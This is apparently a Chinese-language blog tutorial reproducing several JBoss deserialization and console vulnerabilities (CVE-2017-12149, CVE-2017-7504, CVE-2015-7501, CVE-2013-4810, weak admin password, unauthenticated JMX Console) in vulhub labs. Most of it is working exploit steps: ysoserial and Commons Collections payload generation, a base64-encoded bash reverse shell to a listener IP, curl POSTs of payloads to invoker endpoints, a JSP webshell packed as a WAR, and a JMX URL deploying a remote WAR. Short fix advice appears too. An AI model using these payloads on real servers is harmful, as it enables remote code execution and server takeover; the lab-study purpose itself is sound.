常見中間件——Jboss漏洞復現分析
JBoss漏洞復現分析
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
漏洞原理
該漏洞位于JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼。
但有安全研究者發現JBOSSAS 6.x也受該漏洞影響,攻擊者利用該漏洞無需用戶驗證在系統上執行任意命令,獲得服務器的控制權。
環境:https://github.com/vulhub/vulhub
訪問 /invoker/readonly 返回500,說明頁面存在,此頁面存在反序列化漏洞。

使用工具JavaDeserH2HC(https://github.com/joaomatosf/JavaDeserH2HC)進行攻擊
首先使用nc建立一個監聽,然后使用工具
#生成ReverseShellCommonsCollectionsHashMap.classjavac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java #生成ReverseShellCommonsCollectionsHashMap.serjava -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc監聽端口) #訪問利用 POST 二進制數據上去curl http://127.0.0.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

直接獲取到root權限
也可以使用常規Java反序列化漏洞測試方法來復現該漏洞
首先bash -i >& /dev/tcp/192.168.111.128/8888 0>&1進行base64加密后反彈shell的命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoserial來復現生成序列化數據,利用鏈根據java版本選擇,vulnhub環境的java版本較高,所以使用CommonsCollections5
使用nc監聽后按順序輸入以下命令
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" >poc.ser
curl http://192.168.111.128:8080/invoker/readonly --data-binary @poc.ser

同樣能夠獲取權限
修復建議:
- 刪除http-invoker.sar組件,路徑如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
- 更新JBoss
JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)
漏洞原理
JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over HTTPInvocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數據利用該漏洞執行任意代碼。
環境:https://github.com/vulhub/vulhub
該漏洞出現在/jbossmq-httpil/HTTPServerILServlet 請求中

因為都是反序列化漏洞,攻擊時方式和之前一樣,先生成一個序列化數據,然后通過包發送,生成方式一樣。
#生成ReverseShellCommonsCollectionsHashMap.classjavac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java #生成ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc監聽端口) #訪問利用 curl http://127.0.0.1:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

同樣的也可以使用常規Java反序列化漏洞測試方法來復現該漏洞
具體方法和上面一樣
使用nc監聽后按順序輸入以下命令
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" >poc.ser
curl http://192.168.111.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
漏洞原理
這是經典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象,然后我們利用Apache Commons Collections中的Gadget執行任意代碼。
影響版本
- JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
- JBoss AS (Wildly) 6 and earlier
- JBoss A-MQ 6.2.0
- JBoss Fuse 6.2.0
- JBoss SOA Platform (SOA-P) 5.3.1
- JBoss Data Grid (JDG) 6.5.0
- JBoss BRMS (BRMS) 6.1.0
- JBoss BPMS (BPMS) 6.1.0
- JBoss Data Virtualization (JDV) 6.1.0
- JBoss Fuse Service Works (FSW) 6.0.0
- JBoss Enterprise Web Server (EWS) 2.1,3.
環境:https://github.com/vulhub/vulhub
訪問 /invoker/JMXInvokerServlet

說明接口開放,此接口存在反序列化漏洞
同樣這里直接利用CVE-2017-12149生成的ser,發送到 /invoker/JMXInvokerServlet接口中。
curl http://127.0.0.1:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)
影響版本
- Jboss 6.x
環境:https://github.com/vulhub/vulhub
訪問 /invoker/EJBInvokerServlet

說明接口開放,此接口存在反序列化漏洞
同樣這里直接利用CVE-2017-12149生成的ser,發送到 /invoker/EJBInvokerServlet接口中。
curl http://127.0.0.1:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
Administration Console 弱口令 && 后臺getshell漏洞
環境:https://github.com/vulhub/vulhub
在后臺管理控制臺爆破密碼http://127.0.0.1:8080/admin-console/index.seam

登陸后臺后上傳war包,和tomcat的漏洞同理,寫好一個jsp木馬打包成war文件
jar -cvf shell.war shell.jsp


蟻劍連接http://127.0.0.1:8080/shell/shell.jsp

修復建議
- 修改密碼 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
- 刪除Administration Console頁面。
- JBoss版本>=6.0,admin-console頁面路徑為:C:\jboss-6.1.0.Final\common\deploy\admin-console.war
- 6.0之前的版本,路徑為C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
JMX Console未授權訪問
JMXConsole默認存在未授權訪問,直接點擊JBoss主頁中的JMXConsole鏈接進入JMXConsole頁面。
http://127.0.0.1:8080/jmx-console/
在JMXConsole頁面點擊jboss.system鏈接,在Jboss.system頁面中點擊service=MainDeploye

進入service=MainDeployer頁面之后,找到methodIndex為17 or 19的deploy 填寫遠程war包地址進行遠程部署。

(這里點了invoke會跳到500,所以我直接在url構造上傳war包)
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.0.108/shell.war

顯示這樣就代表上傳成功

修復建議
- 增加密碼措施,防止未授權訪問。
- 刪除JMXConsole,后重啟JBoss C:\jboss-6.1.0.Final\common\deploy\jmx-console.war
針對Jboss反序列化網上已經有很多工具了,這里放出來給大家參考
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar